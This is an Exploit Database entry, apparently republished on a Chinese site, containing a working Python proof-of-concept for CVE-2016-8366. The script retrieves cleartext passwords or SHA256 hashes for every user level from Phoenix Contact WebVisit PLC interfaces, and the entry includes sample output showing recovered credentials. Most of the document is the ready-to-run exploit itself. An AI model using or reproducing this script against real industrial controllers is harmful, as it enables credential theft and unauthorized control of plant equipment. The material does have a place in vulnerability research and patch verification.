Phoenix Contact WebVisit 6.40.00 – Password Disclosure

Exploit Database
127 阅读

作者： Photubias

日期： 2018-10-11
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/45586/

# Exploit Title: Phoenix Contact WebVisit 6.40.00 - Password Disclosure

# Exploit Author: Deneut Tijl

# Date: 2018-09-30

# Vendor Homepage: www.phoenixcontact.com

# Software Link: https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5

# Version: WebVisit < 6.40.00

# CVE: CVE-2016-8366

# This script will perform retrieval of clear text credentials for a Phoenix Contact PLC with a WebVisit GUI,

# password protected, application on it Tested on the Phoenix Contact ILC-390 PLC, but others are

# surely equally vulnerable with WebVisit 6.40.00, the passwords are SHA256 hashes, which also will be retrieved

# Sample output:

# C:\Users\admin\Desktop>CVE-2016-8366.py

# Please enter an IP [192.168.1.200]:

# This is the password for userlevel 1: pw1

# This is the password for userlevel 2: SuperPass2

# This is the password for userlevel 3: Extreme2TheMax3

# This is the password for userlevel 4: PowerPass4

# Press Enter to exit

# PoC

#! /usr/bin/env python

import urllib2, binascii

strIP = raw_input('Please enter an IP [192.168.1.200]: ')

if strIP == '': strIP = '192.168.1.200'

try:

URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/'))

except urllib2.HTTPError:

print('#### Critical Error with IP ' + strIP + ': no response')

raw_input('Press Enter to exit')

exit()

strMainTEQ = ''

for line in URLResponse.readlines():

if 'MainTEQName' in line:

strMainTEQ = line.split('VALUE="')[1].split('"')[0]

if strMainTEQ == '':

print('#### Error, no \'MainTEQ\' found on the main page')

raw_input('Press Enter to exit')

exit()

try:

LoginTeqResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strMainTEQ))

except urllib2.HTTPError:

print('Critical Error with IP ' + strIP + ': File \'' + strMainTEQ + '\' not found')

raw_input('Press Enter to exit')

exit()

strAlldata = ''

for line in LoginTeqResponse.readlines():

strAlldata += binascii.hexlify(line)

## For vulnerable webvisit:

## Seems to be 'userLevel' + x bytes + 1 + y bytes + 'password'

## userLevel + '0506030001' + 31 + '00030003010301068300' + passlength + 'password'

## For WebVisit > 6.40.00

## userLevel + '0003000301030b06830040' + 'SHA256' (wich is 64 bytes)

arrData = strAlldata.split('757365724c6576656c0506030001') ## userLevel + '0506030001'

for item in arrData:

if '00030003010301068300' in item:

intUserlevel = int(binascii.unhexlify(item[:2]), 16) ## Turn str '31' into int 1

strPassLength = item.split('00030003010301068300')[1][:2]

strPassword = binascii.unhexlify(item.split('00030003010301068300')[1][2:2+(2*int(strPassLength,16))])

print('This is the password for userlevel ' + str(intUserlevel) + ': ' + strPassword)

elif '0003000301030b06830040' in item:

intUserlevel = int(binascii.unhexlify(item[:2]), 16)

strHash = binascii.unhexlify(item.split('0003000301030b06830040')[1][:64*2])

print('This is the hash for userlevel ' + str(intUserlevel) + ': ' + strHash.lower())

raw_input('Press Enter to exit')